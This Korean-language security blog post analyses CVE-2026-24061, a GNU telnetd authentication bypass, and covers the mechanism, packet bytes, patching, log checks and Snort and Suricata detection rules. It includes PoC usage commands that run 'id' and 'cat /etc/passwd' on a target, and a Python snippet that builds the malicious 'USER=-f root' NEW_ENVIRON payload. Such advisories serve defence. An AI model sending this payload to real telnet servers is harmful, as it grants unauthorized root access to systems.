목록으로
취약점 연구
[분석]CVE-2026-24061 GNU Telnetd 인증 우회 취약점 분석

[분석]CVE-2026-24061 GNU Telnetd 인증 우회 취약점 분석

렛시큐
|
2026년 2월 11일
7분 읽기
34 조회

📋 개요

CVE-2026-24061은 GNU Inetutils Telnetd에서 발견된 원격 인증 우회 취약점입니다. 공격자는 NEW_ENVIRON Telnet 옵션을 통해 환경 변수를 조작하여, 비밀번호 없이 root 권한으로 시스템에 접근할 수 있습니다.

항목내용
CVE IDCVE-2026-24061
심각도Critical (CVSS 9.8)
CWECWE-287 (인증 부적절)
영향 소프트웨어GNU Inetutils telnetd < 2.6
공격 벡터원격 (네트워크)
복잡도낮음 (Low)

★ Insight ─────────────────────────────────────

• NEW_ENVIRON은 Telnet 프로토콜의 환경 변수 협상 옵션으로,
터미널 타입, 속도 등의 정보를 교환하는 데 사용됩니다.

• 이 취약점은 환경 변수 입력값 검증 부재로 인해 발생하는
대표적인 보안 결함입니다.

─────────────────────────────────────────────────


🔍 취약점 원리

취약점이란 무엇인가?

간단히 말해 "비밀번호를 묻지 않고 그냥 들여보내주는 문"입니다.

정상적인 Telnet 로그인:

사용자 → "root로 들어갈게"
Telnet → "비밀번호 입력하세요" ✅
사용자 → "password123"
Telnet → "확인됨. 들어오세요"

취약점 공격:

공격자 → "NEW_ENVIRON 옵션으로 USER=-f root 전송"
Telnet → "어? -f 플래그? 그럼 이미 인증된 걸로 알겠습니다"
Telnet → "비밀번호 필요 없음. 그냥 들어오세요" ❌

기술적 원리

Telnet 연결 과정에서 발생하는 취약점의 동작 메커니즘:

CVE-2026-24061 공격 흐름

① Telnet 연결 시작
   공격자가 Telnet 서버(포트 23) 연결
   ↓
② NEW_ENVIRON 옵션 협상
   서버와 환경 변수 교환 협상
   (터미널 타입, 속도, 사용자 등)
   ↓
③ 악의적인 USER 환경 변수 전송 ⚠️ [공격 지점]
   USER 변수에 "-f root" 값 전송

   ※ -f 플래그는 BSD login에서 "이미 인증된 사용자"를 의미
   ↓
④ telnetd → /bin/login 전달
   telnetd가 USER 환경 변수를 검증 없이 /bin/login에 전달
   ↓
⑤ 인증 우회 성공
   login이 "-f root"를 명령행 옵션으로 해석하여
   비밀번호 없이 root 셸 부여

실제 패킷 구조

공격자가 전송하는 Telnet 패킷의 구조:

바이트 값의미
FF FD 27WILL NEW-ENVIRON (협상 요청)
FF FA 27SB NEW-ENVIRON (데이터 전송)
USER환경 변수 키
-f root악의적인 환경 변수 값

★ Insight ─────────────────────────────────────

• -f 플래그는 BSD rlogin 프로토콜 호환성을 위해
login 프로그램에 추가된 기능입니다.

• telnetd가 사용자 입력값을 검증하지 않고 그대로 login에
전달하는 것이 근본 원인입니다. 이는 신뢰할 수 없는 입력값을
신뢰하는 경계
에서 발생하는 전형적인 취약점입니다.

─────────────────────────────────────────────────


🖥️ 영향받는 시스템

GNU Inetutils란?

GNU Inetutils는 Linux/Unix 시스템에서 네트워크 유틸리티를 제공하는 패키지입니다.

구성 요소설명
telnetdTelnet 서버 데몬 (취약)
telnetTelnet 클라이언트
ftpFTP 클라이언트/서버
pingICMP 네트워크 진단 도구

영향 버전

버전상태
< 2.5 (이전 버전)⚠️ 취약
≥ 2.6✅ 패치됨

실제 노출 규모

항목수치
노출 시스템전 세계 약 3,000대
주요 대상레거시 서버, 네트워크 장비
특히 취약IoT 기기, 임베디드 시스템

💻 POC (Proof of Concept)

GitHub에 공개된 POC 코드를 기반으로 실제 공격 방법을 분석합니다.

POC 개요

(JayGLXR/CVE-2026-24061-POC 레포지토리)Python 스크립트를 사용하여 취약한 Telnet 서버에 대해 인증 우회 공격을 수행합니다.

사용 방법

# 기본 사용법
./cve_2026_24061_telnetd.py <target> [port] [user]

# 예시: 명령 실행
echo "id; whoami" | ./cve_2026_24061_telnetd.py 192.168.1.1

Docker 테스트 환경

# 취약한 Telnet 서버 구축
docker build -t vuln-telnetd -f Dockerfile.vulnerable .
docker run -d -p 2323:23 --name vuln-telnetd vuln-telnetd

# POC 실행
echo "cat /etc/passwd" | python3 cve_2026_24061_telnetd.py localhost 2323

실행화면

image.png

POC 동작 원리

# POC 코드의 핵심 로직 (개념적 표현)
import socket
import struct

def send_new_environ(sock, user="root"):
    # NEW_ENVIRON 옵션 코드
    IAC = 0xff
    SB = 0xfa
    SE = 0xf0
    NEW_ENVIRON = 0x27

    # USER=-f{user} 환경 변수 패킷 구성
    payload = (
        bytes([IAC, SB, NEW_ENVIRON]) +
        b"USER" + bytes([0]) +  # VAR
        b"-f " + user.encode() +  # VALUE (공격 벡터)
        bytes([IAC, SE])
    )
    sock.send(payload)

★ Insight ─────────────────────────────────────

• POC 코드는 보안 연구 및 교육 목적으로만 사용해야 합니다.
• 무단 시스템 접근은 불법적이며 법적 책임을 질 수 있습니다.
• Docker 환경에서 격리된 테스트를 강력히 권장합니다.

─────────────────────────────────────────────────


🛡️ 방어 및 대응

1단계: 시스템 진단

# Telnet 서비스 실행 중인지 확인
systemctl status telnetd

# 또는 포트 확인
netstat -tlnp | grep :23
ss -tlnp | grep :23

2단계: 대응 방법

방법 A: Telnet 비활성화 (권장)

# 서비스 중지
sudo systemctl stop telnetd
sudo systemctl disable telnetd

# 방화벽으로 포트 차단
sudo ufw deny 23
# 또는
sudo iptables -A INPUT -p tcp --dport 23 -j DROP

방법 B: 패치 적용

# GNU Inetutils 최신 버전으로 업데이트 (2.6 이상)
sudo apt update
sudo apt upgrade inetutils-telnetd

# 또는 소스 컴파일
wget https://ftp.gnu.org/gnu/inetutils/inetutils-2.6.tar.gz
tar xzf inetutils-2.6.tar.gz
cd inetutils-2.6
./configure --prefix=/usr
make
sudo make install

방법 C: SSH로 대체 (모범 사례)

# SSH 서버 설치
sudo apt install openssh-server
sudo systemctl enable ssh

# 방화벽 설정 (SSH만 허용)
sudo ufw allow 22
sudo ufw deny 23

3단계: 탐지 및 감시

로그 분석

# Telnet 로그에서 공격 흔적 확인
grep "USER=-f" /var/log/auth.log
grep "USER=-f" /var/log/secure

# 의심스러운 연결 확인
journalctl -u telnetd | grep "USER"
grep "telnet" /var/log/syslog

# NEW_ENVIRON 옵션 사용 탐지
tcpdump -A -i any port 23 | grep -i "USER"

IDS/IPS 탐지 규칙 예시

Snort 규칙:

alert tcp any any -> any 23 (
    msg:"CVE-2026-24061 Telnet Auth Bypass Attempt";
    content:"|FF FA 27|";  # NEW_ENVIRON
    pcre:"/USER.*-f\s+\w+/R";
    nocase;
    reference:cve,2026-24061;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Suricata 규칙:

alert tcp any any -> any 23 (
    msg:"CVE-2026-24061 Telnet Authentication Bypass";
    content:"USER=-f";
    nocase;
    reference:cve,2026-24061;
    classtype:attempted-admin;
    sid:202624061;
)

★ Insight ─────────────────────────────────────

• 탐지보다 예방이 중요합니다. Telnet은 암호화되지 않아
패킷 캡처만으로도 모든 통신 내용이 노출됩니다.

• SSH와 같은 암호화된 대체 프로토콜로 전환하는 것이
가장 확실한 방어책입니다.

─────────────────────────────────────────────────


⚠️ 왜 위험한가?

심각성 평가

위험 요소설명
인증 없는 root 접근시스템 완전 장악 가능
원격 공격 가능네트워크만 연결되면 공격 가능
익스플로잇 공개POC이 공개되어 초보 공격자도 쉽게 사용 가능
패치 어려움레거시/IoT 장비는 패치가 어려움

현실적 위협 평가

다행인 점:

  • ✅ Telnet 사용 자체가 이미 구식
  • ✅ 현대 시스템은 대부분 SSH 사용
  • ✅ 실제 노출 시스템은 약 3,000대로 적음

하지만:

  • ⚠️ IoT/임베디드 장비는 여전히 Telnet 사용
  • ⚠️ 산업 제어 시스템(ICS) 취약 가능성
  • ⚠️ 한 번 뚫리면 완전 장악

📊 방어 체크리스트

단계점검 항목상태
1Telnet 서비스 실행 여부 확인⬜
2방화벽에서 23포트 차단 여부 확인⬜
3Inetutils 2.6 이상 버전 유지 여부⬜
4SSH로 대체 완료 여부 확인⬜
5로그 모니터링 설정 완료 여부 확인⬜
6IDS/IPS 탐지 규칙 적용 여부 확인⬜

🔗 참고 자료

  • POC 코드: JayGLXR/CVE-2026-24061-POC
  • GNU Inetutils 패치: GNU Inetutils 공식 사이트
  • NVD - CVE-2026-24061: National Vulnerability Database
  • GreyNoise 분석: F Around and Find Out: 18 Hours of Unsolicited Houseguests
  • CISA KEV 목록: Known Exploited Vulnerabilities Catalog

⚠️ 면책 조항

본 가이드를 따르면서 발생하는 모든 결과에 대한 책임은 전적으로 사용자 본인에게 있습니다. 이 문서는 참고용으로 제공되며, 작성자는 어떠한 손해나 문제에 대해 책임지지 않습니다.

금지 사항:

  • 본 내용을 악의적인 목적으로 사용하는 것을 엄격히 금지합니다.
  • 타인의 시스템에 무단으로 접근하거나 공격하는 것을 금지합니다.
  • 실제 범죄나 불법적인 활동에 사용하는 것을 금지합니다.
  • 상업적 목적의 무단 복제나 재배포를 금지합니다.

본 가이드의 내용은 보안 연구 및 교육 목적으로만 사용해야 합니다.


작성: Letsecu Security Research Team
날짜: 2026-02-11

태그

#CVE#telnet#인증우회#GNU inetutils#보안#취약점#POC
LETSECU

AI Security Tech Partner. Advanced Information Security Solutions.

Email: int_x@letsecu.com
Tel: 02-6941-0088

서울특별시 관악구 남부순환로 1677-20, 2층
대표: 김민호 사업자번호: 370-87-03101

© 2026 LETSECU Corp.